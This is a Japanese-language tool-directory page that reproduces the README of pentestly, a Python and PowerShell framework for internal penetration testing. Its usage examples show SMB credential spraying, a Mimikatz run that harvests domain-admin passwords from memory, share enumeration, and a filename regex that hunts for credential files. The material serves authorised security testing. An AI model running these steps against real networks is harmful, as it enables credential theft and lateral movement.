Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pentestly — Python と Powershell の内部侵入テストフレームワーク | Kitploit
ツール/GitHubGitHub/praetorian-inc/pentestly
ペネトレーションテストフレームワーク特権昇格偵察パスワード攻撃エクスプロイト横移動情報収集ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングArchived
72113710年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
praetorian-inc/pentestly

pentestly

Python と Powershell の内部侵入テストフレームワーク

リポジトリを見る

Pentestly

Pentestly は、侵入テストで使用するための Python ツール群を拡張したものです。目標は、おなじみのユーザーインターフェースを利用しながら、Python の力を使ってフレームワークへの貢献を容易にすることです。

ブログ記事: Pentestly Framework: When Pentesting Meets Python and Powershell

著者: @ctfhacker / Cory Duplantis

デモ

asciicast

現在の機能

  • NMAP XML のインポート
  • 以下の方法で SMB 認証をテスト:
    • 個別の認証情報
    • 認証情報を含むファイル
    • null 認証情報
    • NTLM ハッシュ
  • 成功した SMB 認証に対するローカル管理者権限のテスト
  • 有効な認証情報に対する読み取り可能な SMB 共有の特定
  • Domain/Enterprise Admin アカウント名の保存
  • 実行中の Domain Admin プロセスの場所の特定
  • ログインしている Domain Admin のシステムの特定
  • メモリ内で Powershell コマンドを実行し、結果を外部に送信
  • Mimikatz を実行してメモリから平文パスワードを収集 (Invoke-Mimikatz.ps1)
  • コマンドシェルを受信 (Powercat)
  • meterpreter セッションを受信 (Invoke-Shellcode.ps1)

巨人の肩の上に

Pentestly は巨人の肩の上に立っています。以下は、Pentestly で現在利用されているツールです:

  • recon-ng - recon-ng のバックエンドデータベースは美しく作られており、Pentestly でデータ操作に活用されています

  • wmiexec.py - WMI を介して Powershell コマンドを迅速かつ簡単に実行できます

  • smbmap.py - SMB 共有を列挙するための便利なユーティリティ

  • Invoke-Mimikatz.ps1 - Powershell での Mimikatz の実装

  • powercat.ps1 - Powershell での Netcat のような機能

  • Invoke-Shellcode.ps1 - Powershell で Meterpreter を展開

  • CrackMapExec - Pentestly でのシンプルな Mimikatz サーバーのインスピレーション源

インストール

root@kitploit:~
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

使用方法

いくつかの実装済み機能を順に見ていきましょう。

ワークスペースの変更

root@kitploit:~
[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

nmap からの読み込み

root@kitploit:~
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

ログインのテスト

認証情報を含むファイルを使用してログインをテスト

root@kitploit:~
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

単一のユーザー名とパスワードを使用

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

小さな IP サブセットに対して認証情報を使用 (例:テーブル内の 192.168.8.0/24)

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Domain および Enterprise 管理者の収集

root@kitploit:~
[pentestly][project][login] > load get_domain # ファジー検索に注意 - get_domain は get_domain_admin_names を見つける
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

実行権限のある IP に対して mimikatz を実行

root@kitploit:~
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

ローカル管理者の表示

root@kitploit:~
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

ドメイン管理者の表示

root@kitploit:~
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

共有の列挙

root@kitploit:~
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

新しい共有の表示

root@kitploit:~
[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

興味深いファイルの検索/ダウンロード

root@kitploit:~
[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames
    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)

pattern をより特化したものに変更可能

root@kitploit:~
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames
    SOURCE   default                     yes       source of input (see 'show info' for details)

実行して見つかったファイルをダウンロード

root@kitploit:~
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt

コントリビューション

Pentestly で新しいモジュールを作成するのは簡単です。skeleton.py で提供されているコードから始めてください:

root@kitploit:~
from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
        'name': 'Your module name goes here',
        'author': 'Developer name goes here',
        'description': 'Description of the module goes here',
        'query': 'SQL QUERY whose result is passed to your module',
        'options': (
            ('Option1', 'Default Value', Required-True/False, 'Description of option'),
        ),
    }

    def module_pre(self):
        # Optional
        # Happens before your module

    def module_run(self, data):
        # Required
        # data is the result from the SQL query set in the options
        
        ### Few magic functions
        # self.query - Perform an SQL query on the internal database
        results = self.query("select * from pentestly_creds")
        
        # self.output - print default information to the user
        self.output("Performed an SQL query")
        self.output(results)

        # self.alert - print successful message to the user
        self.success("Yay! We performed successful work")

    def module_post(self):
        # Optional
        # Happens after your module

重要なポイントは、meta 辞書に対応する情報を入力することと、モジュールの機能のために module_run 関数を実装することです。

このスクリプトは、modules/ フォルダー、または移植性のために個人の ~/.pentestly/modules フォルダーに配置します。

今後数週間以内に、詳細なサンプルスクリプトの説明をお楽しみに。

TODO

  • secretsdump.py モジュールの実装
  • creds、services のようなデータベースクエリのユーティリティ関数の追加
  • 固定幅のカラムを持つ draw_table 関数の再構築
  • Gladius からの認証情報のインポート
  • GPP パスワード検索と復号モジュールの実装
  • Invoke-Shellcode の利用の検討

変更履歴

0.1.0 (2016-02-18)

初期リリース

ツールをダウンロード